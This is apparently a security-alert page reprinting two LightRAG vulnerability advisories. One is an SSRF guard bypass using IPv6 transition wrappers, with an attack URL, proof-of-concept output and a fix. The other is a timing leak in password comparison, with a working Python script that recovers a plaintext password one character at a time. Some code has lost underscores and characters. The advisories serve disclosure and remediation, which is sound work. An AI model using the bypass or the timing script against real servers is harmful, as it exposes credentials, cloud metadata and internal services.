Where
-Infinity
0
Severity
7.1
SSRF
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, validatedaddresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not isglobal. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

- Package: lightrag-hku (LightRAG), the native markdown image-download path. - Component: lightrag/parser/markdown/parser.py, guard validatedaddresses() (the if not (ip.isglobal or ...) check), reached from download() -> buildguardedopener().open(req). - Enabled by default: downloadenabled = envbool("NATIVEMDIMAGEDOWNLOADENABLED", True). - Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64). - Precondition: the caller can upload a document (API key via Depends(combinedauth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | isglobal | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Note — CPython version dependency of the table. The isglobal verdicts above depend on the interpreter. CPython gh-113171 (backported to 3.10.14 / 3.11.9 / 3.12.3+, ~2024-04) added 64:ff9b:1::/48 and 2002::/16 to ipaddress.privatenetworks, so on any current patch release those two rows return isglobal = False and are already blocked by the stdlib before the guard is reached. The 64:ff9b::/96 well-known NAT64 prefix and the IPv4-compatible ::/96 form bypass on every current CPython — and 64:ff9b::/96 is exactly the prefix real DNS64/NAT64 deployments use, so the vulnerability stands. The four-row table reflects a pre-gh-113171 interpreter. The fix classifies by the embedded IPv4 and therefore closes all forms regardless of interpreter version.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (validatedaddresses, hostispublic, buildguardedopener, the GuardedConnection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released download() scheme and host precheck. Trigger in production: an uploaded document containing !x.

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png ===== DIRECTION A: ATTACK (NAT64-wrapped internal address) ===== guard verdict : PASSED (fetched) SECRET LEAKED : True body : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c ===== control: plain internal address (must be BLOCKED) ===== verdict: BLOCKED at guard: non-public host blocked ===== DIRECTION B: PUBLIC address (must still be FETCHED) ===== guard verdict : PASSED (fetched) public body : PUBLIC-OK-BODY ===== SUMMARY ===== attackleakedinternalsecret = True plaininternalblocked = True publicstillfetched = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) ===== guard verdict : BLOCKED at guard: non-public host blocked SECRET LEAKED : False ===== control: plain internal address (must be BLOCKED) ===== verdict: BLOCKED at guard: non-public host blocked ===== DIRECTION B: PUBLIC address (must still be FETCHED) ===== guard verdict : PASSED (fetched) public body : PUBLIC-OK-BODY ===== SUMMARY ===== attackleakedinternalsecret = False plaininternalblocked = True publicstillfetched = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the isglobal check:

python def unwrapembeddedipv4(ip): """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped, IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4 2002::/16) so it is classified by IPv4 rules; else return ip unchanged.""" if ip.version != 6: return ip if ip.ipv4mapped is not None: return ip.ipv4mapped if getattr(ip, "sixtofour", None) is not None: return ip.sixtofour b = ip.packed if b[:12] == b"\x00" 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"): return ipaddress(b[12:]) if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" 8: return ipaddress(b[12:]) if b[:6] == b"\x00\x64\xff\x9b\x00\x01": return ipaddress(b[12:]) return ip

Then in validatedaddresses:

python judged = unwrapembeddedipv4(ip) if not (judged.isglobal or any(ip in net for net in allow)): return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. validatedaddresses() now decides global-routability by starting from the stdlib's isglobal on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

- Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes. - Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVEMDIMAGEALLOWEDNONPUBLICCIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

1 / 2
Source: GitHub
First published (updated )
Severity
5.9
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary When plaintext passwords are stored in AUTHACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

python lightrag/api/passwords.py:13-26 def verifypassword(plainpassword: str, storedpassword: str) -> bool: if storedpassword.startswith("{bcrypt}"): ... return bcrypt.checkpw(...) # constant-time OK

return storedpassword == plainpassword # NOT constant-time VULN # Python == short-circuits on first mismatched byte # Timing leaks: password length + individual characters

PoC

python Timing oracle: recover password char-by-char import httpx, time, string

TARGET = "http://<TARGET>:9621/login" USER = "admin"

def measure(pwd: str) -> float: t = time.perfcounter() httpx.post(TARGET, data={"username": USER, "password": pwd}) return time.perfcounter() - t

known = "" for in range(32): best = max(string.printable, key=lambda c: sum(measure(known+c+"A"20) for in range(10))) known += best print(f"Recovered: {known}")

Impact Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTHACCOUNTS.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203